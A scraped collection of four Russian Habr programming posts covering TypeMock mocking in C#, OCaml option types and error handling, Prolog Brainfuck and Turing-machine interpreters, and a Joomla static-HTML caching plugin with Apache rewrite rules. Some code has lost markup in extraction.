Для дотнет-разработчика, планирующего юнит-тестирование, редко встает вопрос о том, что подразумевать под этим пресловутым «юнит»-ом: в подавляющем числе случаев, юнит – это класс, и тем самым любой тест который использует два или более класса юнит тестом не является – это уже интеграционный тест. Здесь мы конечно говорим про *наши* классы, так как привязка к классам фреймворка или сторонних библиотек – вещь вполне нормальная, и в тестировании не нуждается (хотя как сказать…).
Итак, возникла проблема: как протестировать класс, но вместо других им используемых классов поставить некоторые объекты которые сами по себе ничего не делают (например, не пишут данные в базу), но при этом возвращают ожидаемые значения или же выбрасывают исключения? Решение этой проблемы дают мок-фреймворки, которые помогают нам создать эти хитрые подставные объекты или «моки» (от англ. *mock* — копия, имитация). Давайте воспользуемся библиотекой [TypeMock](http://www.typemock.com) и посмотрим, как же работают эти «моки» в действии.
Что нам нужно для использования моков? Три вещи – Visual Studio, TypeMock, и подходящий фреймворк для юнит-тестирования (я воспользуюсь MbUnit). Ну и желание все это изучать.
#### Первые Шаги
Сначала небольшой сценарий. Допустим что у меня есть система учета выработок которая считает, сколько я должен работнику. Выглядит она примерно так:
```
public class Worker
{
private List workHours { get; set; }
public int GetTotalHoursWorked() { return workHours.Sum(); }
}
public class Payroll
{
public int CalculatePay(Worker worker)
{
// pay everyone 10 dollars an hour (I am evil)
return worker.GetTotalHoursWorked() \* 10;
}
}
```
У нас есть некий класс Worker (рабочий), который производит определенное количество работы, и эти часы складываются в массив. Система выплат – Payroll – получает сумму этих часов, умножает их на почасовой рейт, ну и делает выплаты. Теперь представим, что мы хотим тестировать класс `Payroll`, но чтобы это был настоящий юнит-тест, нужно изолировать зависимый класс `Person` так, чтобы например функция `GetTotalHoursWorked()` *не вызывалась совсем*. Как это сделать? Очень просто: Сначала, создаем `Payroll` как обычно, а вот вместо `Person` создаем мок-объект:
```
Worker w = Isolate.Fake.Instance();
Payroll p = new Payroll();
```
Теперь наш работник как бы и работник, но уже с некой конфигурируемой начинкой[[1](#Reference1 "Для того, чтобы все это заработало, нужно в нашу сборку добавить ссылки на две другие сборки из GACа – «TypeMock Isolator» и «TypeMock Isolator – Arrange-Act-Assert».")]. Теперь мы хотим чтобы подсчет прошел, но чтобы *реальный* `Worker` при этом не затрагивался. Для этого, нужно подменить вызов `GetTotalHoursWorked()`. Вот как это делается:
```
Isolate.WhenCalled(() => w.GetTotalHoursWorked()).WillReturn(40);
```
Все просто – вместо последующих вызовов `Person.GetTotalHoursWorked()` будет банально возвращаться число 40. Если не верите – поставьте брейкпоинт на функцию, и вы убедитесь что при тестировании никто в нее не входит.
То что мы сейчас сделали – это подготовка (Arrange phase) – первая из трех фаз методологии Arrange-Act-Assert (AAA) которую поддерживает TypeMock[[2](#Reference2 "Два других подхода – Reflective Mocks и Natural Mocks – в данном очерке не рассмотрены.")]. Сейчас займемся второй фазой – Act. Тут мы собственно вызовем наш метод, то есть проведем действие над тестируемой системой:
```
int result = p.CalculatePay(w);
```
А теперь попробуйте угадать результат! Ведь мы даже `workHours` не инициализировали – там значение `null`. Тем не менее, у нас вполне реальный результат – 400. Более того, мы можем даже проверить что метод `GetTotalHoursWorked()` был действительно вызван (то, что был вызван подмененный метод значения не имеет). Это – последняя фаза ААА, а именно Assert. Смотрим:
```
Assert.AreEqual(400, result);
Isolate.Verify.WasCalledWithAnyArguments(() => w.GetTotalHoursWorked());
```
Напоследок, посмотрим на весь тест целиком[[3](#Reference3 "Следует также заметить, что помимо аттрибута Test, нужно использовать аттрибут Isolated либо на уровне метода, либо на уровне класса – этот аттрибут позволяет очистить контекст от используемых мок-объектов.")]
```
[Test]
public void TestPayroll()
{
// Arrange
Payroll p = new Payroll();
Worker w = Isolate.Fake.Instance();
Isolate.WhenCalled(() => w.GetTotalHoursWorked()).WillReturn(40);
// Act
int result = p.CalculatePay(w);
// Assert
Assert.AreEqual(400, result);
Isolate.Verify.WasCalledWithAnyArguments(() => w.GetTotalHoursWorked());
}
```
Итак, что же мы сделали? Мы протестировали метод `Payroll.CalculatePay()`, подменив параметр `Person` неким подобием, которое вело себя предсказуемо и не затрагивало при этом реальные свойства и методы класса.
#### NonPublic
В нашем первом примере все было очень просто – все наши элементы были публичны и поэтому проблем с доступом не возникло. А теперь представим себе, что метод `Worker.GetTotalHoursWorked()` находится в другой сборке, и помечен как `internal`:
```
public class Worker
{
private List workHours { get; set; }
internal int GetTotalHoursWorked() { return workHours.Sum(); }
}
```
Хьюстон, у нас проблема! Тест наш больше не скомпилится, т.к. две строчки кода использующие `GetTotalHoursWorked()` больше не имеют к нему доступ:
```
// не сработает
Isolate.WhenCalled(() => w.GetTotalHoursWorked()).WillReturn(40);
// и это тоже
Isolate.Verify.WasCalledWithAnyArguments(() => w.GetTotalHoursWorked());
```
Как подменить непубличный метод? Элементарно, Ватсон! Используя `Isolator.NonPublic` мы можем задать метод по имени:
```
Isolate.NonPublic.WhenCalled(w, "GetTotalHoursWorked").WillReturn(40);
...
Isolate.Verify.NonPublic.WasCalled(w, "GetTotalHoursWorked");
```
Вот и все! Точно так же как и методы, можно перехватывать обращения, например, к свойству или индексатору (`operator this[]`). Ну и проверки на вызовы можно делать соотвественно.
#### Статики, утипизация, и прочее
Помимо работы с объектами, которые можно создать оператором `new`, TypeMock также умеет работать со статическими объектами. Например, чтобы подделать статический конструктор, мы просто вызываем `Isolate.Fake.StaticConstructor(typeof (T));`, а дальше пользуемся TypeMock как и ранее. То же самое делается со статичными методами.
Помимо подмены объектов моками, TypeMock поддерживает утипизацию (duck typing), то есть возможность подмены одного объекта другим даже когда у них не совсем одинаковые интерфейсы. Вот небольшой пример:
```
public class Dog
{
public Dog(){}
public string MakeSound()
{
return "Woof";
}
}
public class Duck
{
public string MakeSound()
{
return "Quack";
}
}
```
Тут у нас утка и собака, и мы естественно хотим чтобы собака крякала. В TypeMock это делается так:
```
[TestFixture, Isolated]
public class Tests
{
[Test]
public void Test()
{
// fake a dog
Dog dog = Isolate.Fake.Instance();
Duck duck = new Duck();
// replace calls on dog with calls on duck
Isolate.Swap.CallsOn(dog).WithCallsTo(duck);
// get a dog to quack
string sound = dog.MakeSound();
// did it?
Assert.AreEqual("Quack", sound);
Isolate.Verify.WasCalledWithAnyArguments(() => dog.MakeSound());
}
}
```
#### Вот и все!
Надеюсь в этом коротком посте я показал что моки – это совсем не страшно, и использовать их просто! Спасибо за внимание!
#### Заметки
1. [↑](#BackReference1 "Back to text") Для того, чтобы все это заработало, нужно в нашу сборку добавить ссылки на две другие сборки из GACа – «TypeMock Isolator» и «TypeMock Isolator – Arrange-Act-Assert».
2. [↑](#BackReference2 "Back to text") Два других подхода – Reflective Mocks и Natural Mocks – в данном очерке не рассмотрены.
3. [↑](#BackReference3 "Back to text") Следует также заметить, что помимо аттрибута `Test`, нужно использовать аттрибут `Isolated` либо на уровне метода, либо на уровне класса – этот аттрибут позволяет очистить контекст от используемых мок-объектов.
[](http://spbalt.net) | https://habr.com/ru/post/56917/ | null | ru | null |
# Введение в OCaml: Нулевые указатели, утверждения и предупреждения [4]
[прим. пер.: предыдущие части [[1](http://habrahabr.ru/blogs/programming/108529/); [2](http://habrahabr.ru/blogs/programming/108532/); [3](http://habrahabr.ru/blogs/programming/108920/)]
Предыдущие части переводил [amarao](http://amarao.habrahabr.ru/), в этой части пункт про нулевые указатели также переведен им]
Нулевые указатели
-----------------
Допустим, вы создали опрос на сайте, который спрашивает у читателей их имя и возраст. Единственной проблемой является, что по некоторым причинам некоторые из ваших читателей не хотят сообщать свой возраст — они упорно отказываются заполнять соответствующее поле. Что делает в этом случае плохой администратор базы данных?
Полагая, что возраст является целым числом, есть два варианта решения проблемы. Самый частый (и самый неправильный) это задать особое значение как признак незаполненности поля. Например, возраст -1 означает, что данные не были получены, иначе данные получены (даже если неверны). Этот метод отлично работает до тех пор, пока вы не решите посчитать средний возраст посетителей. Так как вы забыли учесть ваше специальное значение, вы приходите к выводу, что средний возраст посетителей семь с половиной лет, вы нанимаете веб-дизайнера для удаления всех длинных слов и переделки дизайна с использованием ярких цветов.
Другой, правильный метод, состоит в хранении возраста в поле, которое имеет значение «целое или null». Вот SQL-таблица для хранения возрастов:
```
create table users
(
userid serial,
name text not null,
age int -- may be null
);
```
Если данные о возрасте не получены, то в базу заносится специальное значение SQL NULL. SQL автоматически проигнорирует это значение если вы скажете ему посчитать среднее.
Во многих языках программирования так же есть концепция null, хотя, лёгкость использования может различаться. В Perl любое скалярное выражение (число или строка) может быть `undef` (Перловый метод сказать «нуль»). Это вызывает много предупреждений, которые часто игнорируются начинающими программистами, не смотря на то, что такие предупреждения чаще всего свидетельствуют о серьёзных ошибках. В Java, любая ссылка на объект так же может быть `null`, так что использование `Integer` для хранения возраста и использование `null` в ссылках на возраст вполне разумно. В Си указатель, разумеется, может быть нулевым, но если вы хотите, чтобы простое целое число могло принимать значение null, то вам придётся сначала положить его в объект, созданный malloc в куче.
OCaml использует элегантное решение проблемы null используя простой полиморфный вариантный тип, определённый (в `Pervasives`) следующим образом:
```
type 'a option = None | Some of 'a
```
«Нулевой указатель» записывается как `None`. Возраст из примера выше (целое, которое может быть null) имеет тип `int option` [Помните, читается в обратном направлении, как `int list` и `binary_tree`].
```
# Some 3;;
- : int option = Some 3
```
А что насчет списка опциональных целых?
```
# [ None; Some 3; Some 6; None ];;
- : int option list = [None; Some 3; Some 6; None]
```
И что насчет опционального списка целых?
```
# Some [1; 2; 3];;
- : int list option = Some [1; 2; 3]
```
Утверждения, предупреждения, фатальные ошибки и вывод в stderr
--------------------------------------------------------------
Одной величайшей чертой Perl является богатый набор команд для отладки программ и обработки неожиданных ошибок, в том числе возможность выводить срез стека, бросать и ловить исключения и т.д. OCaml имеет не такой богатый набор отладочных команд — лучше чем Java, примерно такой же как C, не такой хороший как Perl. (Мы будем говорить об исключениях более подробно позже.)
Прежде всего, `assert` принимает выражение как аргумент и бросает исключение. Предполагая что вы не ловите это исключение (наверное это неразумно что вы поймаете это исключение, особенно для начинающих), это приведёт к остановке программы и выводу исходного кода с номером строки в которой произошла ошибка. Например:
```
# assert (Sys.os_type = "Win32");;
Exception: Assert_failure ("", 0, 30).
```
(Запуск на Win32 естественно не выдает ошибки)
Вы также можете просто вызвать `assert false` чтобы остановить вашу программу, просто если дела идут плохо, но вам вероятно лучше использовать…
`failwith "error message"` бросит исключение `Failure` которое опять таки если не ловить остановит программу с выводом переданного сообщением об ошибке. `failwith` часто используется вместе с сопоставлением с образцом, как в этом примере:
```
match Sys.os_type with
"Unix" | "Cygwin" -> (* code omitted *)
| "Win32" -> (* code omitted *)
| "MacOS" -> (* code omitted *)
| _ -> failwith "this system is not supported"
```
Отметим некоторые дополнительные возможности сопоставления с образцом в этом же примере. Так называемый «диапазонный образец» [прим. пер.: тут я испытывал проблемы с переводом, оригинал «range pattern», если кто то знает более правильный перевод то отпишитесь (желательно в л.с.)] используется для сопоставления «Unix» или «Cygwin», и специальный образец \_ который соответствует «чему-нибудь еще».
Если вы хотите отладить свою программу, но вы, как и я, испытываете отвращение ко всем отладчикам кроме gdb, то вы наверняка хотите вывести предупреждение через какую-то функцию. Например (обратите внимание на выделенные строки):
`open Graphics;;
open_graph " 640x480";;
for i = 12 downto 1 do
let radius = i * 20 in
**prerr\_endline ("radius is " ^ (string\_of\_int radius));**
set_color (if (i mod 2) = 0 then red else yellow);
fill_circle 320 240 radius
done;;
read_line ();;`
Если вы предпочитаете printf из C, то использовать модуль Printf:
`open Graphics;;
open Printf;;
open_graph " 640x480";;
for i = 12 downto 1 do
let radius = i * 20 in
**eprintf "radius is %d\n" radius;**
set_color (if (i mod 2) = 0 then red else yellow);
fill_circle 320 240 radius
done;;
read_line ();;`
[прим. пер. насчет ссылки на оригинал: я знаю что оригинал на ocaml-tutorial.org, но у меня он не открывается [напрямую; через кэш Google; через archive.org; через Tor] так что я указал ссылку на зеркало] | https://habr.com/ru/post/118183/ | null | ru | null |
# Prolog. Программируем автоматы
Прочитав [статью](http://habrahabr.ru/blogs/programming/124820/) о Prolog, я решил написать небольшое дополнение к ней в виде 2 небольших задач.
Вот они:
1. Интерпретатор языка brainfuck
2. Машина Тьюринга
Для начала нам требуется [SWI-Prolog](http://www.swi-prolog.org/download/stable) и немного свободного времени.
##### Задача 1. Интерпритатор языка brainfuck
Начнем с копи-паста из [Википедии](http://ru.wikipedia.org/wiki/Brainfuck).
Brainfuck — один из известнейших эзотерических языков программирования, придуман Урбаном Мюллером в 1993 году для забавы. Язык имеет восемь команд, каждая из которых записывается одним символом. Исходный код программы на Brainfuck представляет собой последовательность этих символов без какого-либо дополнительного синтаксиса.
Машина, которой управляют команды Brainfuck, состоит из упорядоченного набора ячеек и указателя текущей ячейки, напоминая ленту и головку машины Тьюринга. Кроме того, подразумевается устройство общения с внешним миром (см. команды. и ,) через поток ввода и поток вывода.
###### Команды и их описание:
* > перейти к следующей ячейке
* < перейти к предыдущей ячейке
* + увеличить значение в текущей ячейке на 1
* — уменьшить значение в текущей ячейке на 1
* . напечатать значение из текущей ячейки
* , ввести извне значение и сохранить в текущей ячейке
* [ если значение текущей ячейки нуль, перейти вперёд по тексту программы на ячейку, следующую за соответствующей ] (с учётом вложенности)
* ] если значение текущей ячейки не нуль, перейти назад по тексту программы на символ [ (с учётом вложенности)
Лента представленна в виде базы данных
data(Адресс, Значение).
Головка представлена адрессом ячейки
pos(Адресс).
Собственно код с комментариями:
```
% ,
cout:-
%получаем адресс текщей ячейки
pos(Addr),
%получаем значение
data(Addr,Value),
%выводим его на экран
put_char([Value]).
% .
cin:-
%получаем адресс текущей ячейки
pos(Addr),
%удаляем ячейку из базы
retract(data(Addr,_)),
%читаем символ
get_single_char(Value),
%записываем назад в базу
assert(data(Addr,Value)).
% + -
add(AddValue):-
%получаем адресс
pos(Addr),
%удаляем ячейку
retract(data(Addr,Value)),
%увеличиваем значение на 1
NewValue is Value+AddValue,
%заносим новую ячейку
assert(data(Addr,NewValue)).
% > <
addr(Side):-
%удаляем текущий адресс
retract(pos(Addr)),
%инкрементриуем значение адресса
NewAddr is Addr+Side,
%заносим новое значение в базу
assert(pos(NewAddr)),
%ячейка была в базу или создаем новую
(data(NewAddr,_),!;assert(data(NewAddr,0))).
% ]
goto:-
%получаем адресс
pos(Addr),
%получаем значение и проверяем на равность 0
data(Addr,Value),Value==0,!,
%если 0, то удаляем указатель на начало последнего цикла
retract(circle([_|L])),
%сохраняем хвост
assert(circle(L)).
goto:-
%иначе переходим в начало цикла
circle([[N,_]|_]),
seeing(Stream),
seek(Stream,N,bof,_).
% [
loop:-
%удаляем и получаем указатели на начало цикла
retract(circle(L)),
seeing(Stream),
%определяем позицию в файле
character_count(Stream,Pos),
%Получаем значение ячейки
%(если оно = 0, то не выполняем тело цикла)
pos(Addr),
data(Addr,Value),
assert(circle([[Pos,Value]|L])).
do:-
%читаем команду
get_char(X),
%выполняем ее
step(X),
%проверяем на конец файла
not(at_end_of_stream),!,
do.
do:-
%если конец, то закрываем файл
seeing(Stream),
close(Stream),
seen.
step('['):-loop,!.
step(']'):-goto,!.
%это правило предназначено для "проскакивания цикла"
%(если в него мы зашли с нулевым значением)
step(_):-circle([[_,StartValue]|_]),StartValue==0,!.
step('>'):-addr( 1),!.
step('<'):-addr(-1),!.
step(','):-cin,!.
step('.'):-cout,!.
step('+'):-add( 1),!.
step('-'):-add(-1),!.
step(_).
run(Path):-
see(Path),
%удаляем мусор (оставленный после работы предидущей программы)
retractall(pos(_)),
retractall(data(_,_)),
retractall(circle(_)),
%начинаем с первой ячейки
assert(pos(1)),
%с значением 0
assert(data(1,0)),
assert(circle([])),do.
```
Для проверки в терминале пишем:
freest@PC:$ swipl -s
?-run('Path.to.Brainfuck.code').
Протеструем на примере из [Вики](http://ru.wikipedia.org/wiki/Brainfuck).
Hello World! на brainfuck
++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++
.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.
------.--------.>+.>.
Должно выйти что-то вроде этого:
freest@PC:/media/C6984667984655D9$ swipl -s bf.pro
% library(swi\_hooks) compiled into pce\_swi\_hooks 0.00 sec, 2,224 bytes
% /media/C6984667984655D9/bf.pro compiled 0.00 sec, 4,676 bytes
Welcome to SWI-Prolog (Multi-threaded, 32 bits, Version 5.10.4)
Copyright © 1990-2011 University of Amsterdam, VU Amsterdam
SWI-Prolog comes with ABSOLUTELY NO WARRANTY. This is free software,
and you are welcome to redistribute it under certain conditions.
Please visit [www.swi-prolog.org](http://www.swi-prolog.org) for details.
For help, use ?- help(Topic). or ?- apropos(Word).
?- run('a.txt').
Hello World!
true.
?-
##### Задача 2. Машина Тьюринга
Опять немного теории от [Вики](http://ru.wikipedia.org/wiki/%D0%9C%D0%B0%D1%88%D0%B8%D0%BD%D0%B0_%D0%A2%D1%8C%D1%8E%D1%80%D0%B8%D0%BD%D0%B3%D0%B0)
Маши́на Тью́ринга (МТ)— абстрактный исполнитель (абстрактная вычислительная машина). Была предложена Аланом Тьюрингом в 1936 году для формализации понятия алгоритма.
Машина Тьюринга является расширением конечного автомата и, согласно тезису Чёрча— Тьюринга, способна имитировать все другие исполнители (с помощью задания правил перехода), каким-либо образом реализующие процесс пошагового вычисления, в котором каждый шаг вычисления достаточно элементарен.
Конкретная машина Тьюринга задаётся перечислением элементов множества букв алфавита A, множества состояний Q и набором правил, по которым работает машина. Они имеют вид: qiaj→qi1aj1dk (если головка находится в состоянии qi, а в обозреваемой ячейке записана буква aj, то головка переходит в состояние qi1, в ячейку вместо aj записывается aj1, головка делает движение dk, которое имеет три варианта: на ячейку влево (L), на ячейку вправо ®, остаться на месте (N)). Для каждой возможной конфигурации имеется ровно одно правило. Правил нет только для заключительного состояния, попав в которое машина останавливается. Кроме того, необходимо указать конечное и начальное состояния, начальную конфигурацию на ленте и расположение головки машины.
Будем использовать МТ предложеную [Викой](http://ru.wikipedia.org/wiki/%D0%9C%D0%B0%D1%88%D0%B8%D0%BD%D0%B0_%D0%A2%D1%8C%D1%8E%D1%80%D0%B8%D0%BD%D0%B3%D0%B0)
q0\*→q0\*R
q01→q01R
q0×→q1×R
q11→q2aR
q21→q21L
q2a→q2aL
q2=→q2=L
q2×→q3×L
q31→q4aR
q3a→q3aL
q3\*→q6\*R
q4×→q4×R
q4a→q4aR
q4=→q4=R
q41→q41R
q4\*→q51R
q5\*→q2\*L
q6a→q61R
q6×→q7×R
q7a→q7aR
q71→q2aR
q7=→q8=L
q8a→q81L
q8×→q9H
data(L,V,R) -представление ленты ( L — левая часть, R — правая, V — текущяя ячейка).
...[1][2][3][4][5][6][7]…
L=[3,2,1] V=4 R=[5,6,7]
Значение пустой ячейки — \*
```
%реверс списка
revers([],R,R):-!.
revers([H|T],L,R):-revers(T,[H|L],R).
%переход в левую ячейку
l:-
%читаем ленту
(retract(data([Hl|Tl],V,R)),!;
%если левая часть была пустой, то новое положение головки указывает на пустой елемент (*)
retract(data([],V,R)),Hl=(*),Tl=[]),
%заносим ленту в память
assert(data(Tl,Hl,[V|R])).
r:-
%читаем ленту
(retract(data(L,V,[Hr|Tr])),!;
%если правая часть была пустой, то новое положение головки указывает на пустой елемент (*)
retract(data(L,V,[])),Hr=(*),Tr=[]),
%заносим ленту в базу
assert(data([V|L],Hr,Tr)).
% головка МТ стоит на месте
n.
%Инициализация ленты.
%revers используется для более наглядного представления Ленты(читай описание data).
initData(L,V,R):-
%удаляем старую( если она была)
retractall(data(_,_,_)),
%переворачиваем левую часть( причина описана выше)
revers(L,[],Lr),
% заносим ленту в базу.
assert(data(Lr,V,R)).
%изменение текущей ячейки
input(Value):-
%Удаляем из базы старую ленту, сохраняя значение Левой и Правой части.
retract(data(L,_,R)),
%Заносим ленту с новым значение текущей ячейки.
assert(data(L,Value,R)).
%Вывод информации о выполнении
info(Q:A:Qn:An:D):-
%Выводим правило МТ
write(Q:A),nl,
write(Qn:An:D),nl,
%и значение ленты в «человеческом виде»
data(L,Value,R),revers(L,[],Lr),append(Lr,[[Value]|R],Data),
write(Data),nl.
%Правила МТ
%Стостояние(ЗначениеЯчейки, НовоеСостояние, Записываемое значение, Движение).
%МТ для умножение чисел в унарной системе исчисления
q0(*,q0,*,r).
q0(1,q0,1,r).
q0(x,q1,x,r).
q1(1,q2,a,r).
q2(1,q2,1,l).
q2(a,q2,a,l).
q2(=,q2,=,l).
q2(x,q3,x,l).
q3(1,q4,a,r).
q3(a,q3,a,l).
q3(*,q6,*,r).
q4(x,q4,x,r).
q4(a,q4,a,r).
q4(=,q4,=,r).
q4(1,q4,1,r).
q4(*,q5,1,r).
q5(*,q2,*,l).
q6(a,q6,1,r).
q6(x,q7,x,r).
q7(a,q7,a,r).
q7(1,q2,a,r).
q7(=,q8,=,l).
q8(a,q8,1,l).
q8(x,e,x,n).
%e — конечное стостояние.
start(e):-write(end),!.
%Действие в стостоянии Q
start(Q):-
%проверяем значение ячейки
data(_,A,_),
%ищем подходяшее правило
apply(Q,[A,Qn,An,D]),
%выводим информацию
info(Q:A:Qn:An:D),
%записываем значение
input(An),
%двигаем головку
call(D),
%переходим в новое стостояние
start(Qn).
```
Запускаем МТ
$ swipl -s 1.pro
?- initData([],\*,[1,1,1,x,1,1,=,\*]).
?- start(q0).
А вот и результат.
$ swipl -s 1.pro
…
?- initData([],\*,[1,1,1,x,1,1,=,\*]).
true.
?- start(q0).
q0: (\*)
q0: (\*):r
[[\*],1,1,1,x,1,1,=,\*]
q0:1
q0:1:r
[\*,[1],1,1,x,1,1,=,\*]
….
….
….
q8:a
q8:1:l
[\*,1,1,1,x,[a],1,=,1,1,1,1,1,1,\*]
q8:x
e:x:n
[\*,1,1,1,[x],1,1,=,1,1,1,1,1,1,\*]
end
true.
##### Источники:
1. [Brainfuck](http://ru.wikipedia.org/wiki/Brainfuck)
2. [Машина Тьюринга](http://ru.wikipedia.org/wiki/%D0%9C%D0%B0%D1%88%D0%B8%D0%BD%D0%B0_%D0%A2%D1%8C%D1%8E%D1%80%D0%B8%D0%BD%D0%B3%D0%B0)
3. [Prolog](http://it.kgsu.ru/Prolog/) | https://habr.com/ru/post/136670/ | null | ru | null |
# Ускоряем Joomla в 1000 раз
**Целевая аудитория:** программисты, администраторы Joomla и другие пользователи имеющие элементарные навыки работы с PHP.
Joomla — медленная, очень медленная. Joomla «из коробки» редко может выдавать более 4 запросов в секунду. Включим кеш, поставим PHP accelerator, займемся оптимизацией и возможно мы сможем получить 20 запросов в секунду.
А что дальше, менять CMS? Конечно менять, но слишком часто пользователи просятся назад на Joomla. Сразу оговорюсь, задача статьи не повлиять на выбор CMS, обсуждать скорости работы различных CMS решений или недостатки архитектуры Joomla.
Данные рекомендации будут полезны, если:
— у вас или вашего клиента есть вебсайт на Joomla
— ваш сайт состоит в основном из статического контента
— вам недостаточно получать от сервера 20 запросов в секунду, вам надо 2000-3000.
— вы задумались насколько время отклика вебсайта влияет на рейтинг в google. Немного информации на эту тему тут [googlewebmastercentral.blogspot.com/2010/04/using-site-speed-in-web-search-ranking.html](http://googlewebmastercentral.blogspot.com/2010/04/using-site-speed-in-web-search-ranking.html)
Joomla работает под PHP, даже если используется кеширование на уровне модулей Joomla, все равно используется PHP и происходит рендеринг страницы при каждом обращении. Это означает, что скорости в 2000 запросов в секунду будут недостижимы. Заставим Joomla сохранять копию сгенерированной страницы на диск, а Apache считывать эту копию напрямую, минуя PHP для всех последующих пользователей. Это старый добрый подход, который кстати может быть применен на других CMS, но только для статического контента. На Joomla используем тип Article, который как раз и представляет страницу со статическим контентом.
Создаем новый плагин для Joomla, всего два файла:
**htmlcache.xml** — файл описания плагина
> `</fontxml version="1.0" encoding="utf-8"?>
>
> <install version="1.5" type="plugin" group="system">
>
> <name>System - HTML cachename>
>
> <author>author>
>
> <creationDate>March 2010creationDate>
>
> <copyright>copyright>
>
> <license>www.gnu.org/licenses/gpl-2.0.html GNU/GPLlicense>
>
> <authorEmail>authorEmail>
>
> <authorUrl>authorUrl>
>
> <version>0.6version>
>
> <description>Creates static HTML versions of content pages. It will only cache SEO URLs, \*.php pages will not be cached. description>
>
> <files>
>
> <filename plugin="htmlcache">htmlcache.phpfilename>
>
> files>
>
> <params>
>
> <param name="html\_cache\_dir" type="text" default="" label="HTML Cache dir" description="Set the joomla HTML cache directory."/>
>
> <param name="cache\_view\_1" type="text" default="article" label="View to cache 1" description="Set view type to be cached. Only HTTP content can be cached."/>
>
> <param name="cache\_view\_2" type="text" default="" label="View to cache 2" description="Set view type to be cached. Only HTTP content can be cached."/>
>
> <param name="cache\_view\_3" type="text" default="" label="View to cache 3" description="Set view type to be cached. Only HTTP content can be cached."/>
>
> <param name="cache\_view\_4" type="text" default="" label="View to cache 4" description="Set view type to be cached. Only HTTP content can be cached."/>
>
> params>
>
> install>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Теперь создаем обработчик события onAfterRender. Задача обработчика перехватывать только статьи типа Article, создавать в каталоге **html\_cache\_dir** структуру из папок в соответствии со структурой вебсайта и сохранять туда контент страницы. Дополнительно перед сохранением можно прогонять страницу через оптимизатор HTML (например этот [Minify\_HTML](http://code.google.com/p/minify/source/browse/trunk/min/lib/Minify/HTML.php)), которые оптимизирует размер страницы, убирая лишние комментарии и пробелы и тем самым увеличивая эффективность работы вебсайта.
Отдельно отметим, что данный код работает для вебсайтов с включенным SEO и не кеширует страницы с любыми расширениями типа php или html. Кешироваться будут только URLs вида:
**/about
/software/catalog**
**Код придется поправить, если вы не используете SEO.**
**htmlcache.php** — непосредственно код.
> php</font
>
> defined( '\_JEXEC' ) or die( 'Restricted access' );
>
> jimport( 'joomla.plugin.plugin' );
>
> class plgSystemHtmlcache extends JPlugin
>
> {
>
> function plgSystemHtmlcache(& $subject, $config)
>
> {
>
> parent::\_\_construct($subject, $config);
>
> }
>
>
>
> function onAfterRender()
>
> {
>
> global $mainframe;
>
> if($mainframe->isAdmin()) { return; } //do not cache admin pages
>
>
>
> $document =& JFactory::getDocument();
>
> $doctype = $document->getType();
>
> $user =& JFactory::getUser();
>
> if($user->get('guest') != 1) { return; } //Only cache for non logged in users
>
> if ( $doctype != 'html' ) { return; } // Only render for HTML output
>
> $html\_cache\_dir=$this->param('html\_cache\_dir');
>
> if($html\_cache\_dir=='') { return; } //Exit if no html\_cache\_dir specified
>
> if(!file\_exists($html\_cache\_dir)) { mkdir($html\_cache\_dir); } //try to create folder if it does not exist
>
> // Only render for provided views
>
> if ((JRequest :: getVar('view')) != $this->param('cache\_view\_1') &&
>
> (JRequest :: getVar('view')) != $this->param('cache\_view\_2') &&
>
> (JRequest :: getVar('view')) != $this->param('cache\_view\_3') &&
>
> (JRequest :: getVar('view')) != $this->param('cache\_view\_4')) { return; }
>
> $relativePath=$this->request\_uri();
>
> if (strpos($relativePath, '.')) { return; } //exit if found DOT in the request\_uri, we do not want to cache anything other than SEO
>
> $relativePath=str\_replace('/',DS,$relativePath);
>
> //$body = Minify\_HTML::minify(JResponse::getBody());
>
> $body =JResponse::getBody();
>
> $fullPath=$html\_cache\_dir.$relativePath;
>
> $parts=explode(DS,$relativePath);
>
> $currentPath=$html\_cache\_dir.DS;
>
>
>
> foreach( $parts as $p){
>
> if($p==''){
>
> continue;
>
> }
>
> $currentPath.=$p;
>
> if((!file\_exists($currentPath))&&(!is\_file($currentPath))){
>
> mkdir($currentPath);
>
> }
>
> $currentPath.=DS;
>
> }//end for each
>
> $indexFile=$currentPath.DS.'index.html';
>
> if(!file\_exists($indexFile)){ $this->writeToFile($indexFile,$body); }
>
> }
>
>
>
> function writeToFile($fileName,$content){
>
> $handle=fopen($fileName,'w');
>
> fwrite($handle,$content);
>
> fclose($handle);
>
> }
>
>
>
> function request\_uri(){
>
> if (isset($\_SERVER['REQUEST\_URI'])){
>
> $uri = $\_SERVER['REQUEST\_URI'];
>
> }else{
>
> if (isset($\_SERVER['argv'])){
>
> $uri = $\_SERVER['PHP\_SELF'] .'?'. $\_SERVER['argv'][0];
>
> }else{
>
> $uri = $\_SERVER['PHP\_SELF'] .'?'. $\_SERVER['QUERY\_STRING'];
>
> }
>
> }
>
> return $uri;
>
> }
>
>
>
> function param($name){
>
> static $plugin,$pluginParams;
>
> if (!isset( $plugin )){
>
> $plugin =& JPluginHelper::getPlugin('system', 'htmlcache');
>
> $pluginParams = new JParameter( $plugin->params );
>
> }
>
> return $pluginParams->get($name);
>
> }
>
> }
>
>
Оба файла можно закачать в /plugins/system или поместить в htmlcache.zip и установить через административный интерфейс Joomla. После установки задаем **html\_cache\_dir=/opt/www/html/cache/content** в настройках плагина и включаем плагин (Enabled: Yes).
При первом обращении к странице в папке /opt/www/html/cache/content должны появиться папки и файлы — это означает что плагин работает и все в порядке с разрешениями на запись.
Осталось заставить Apache отдавать эти файлы без обращения к PHP коду. В .htaccess, сразу после RewriteEngine on добавляем:
`RewriteCond %{REQUEST_URI} (/|/[^.]*)$ [NC]
RewriteCond %{DOCUMENT_ROOT}/cache/content/%{REQUEST_URI}/index.html -f
RewriteRule (.*) /cache/html/$1/index.html [L]`
Перезапускаем apache и проверяем через браузер. Для того чтобы проверить производительность запустим (под Linux):
`ab -n 10000 -c 50 -k www.azati.com
...
Concurrency Level: 50
Time taken for tests: 4.294054 seconds
Complete requests: 10000
Failed requests: 0
Write errors: 0
Keep-Alive requests: 10000
Total transferred: 71155755 bytes
HTML transferred: 67695750 bytes
Requests per second: 2328.80 [#/sec] (mean)
Time per request: 21.470 [ms] (mean)
Time per request: 0.429 [ms] (mean, across all concurrent requests)
Transfer rate: 16182.38 [Kbytes/sec] received
...`
Тест лучше запускать несколько раз, чтобы обеспечить «прогрев» для Apache. Запускать можно на самом вебсервере, чтобы исключить задержки в сети или по сети, но числа будут другие.
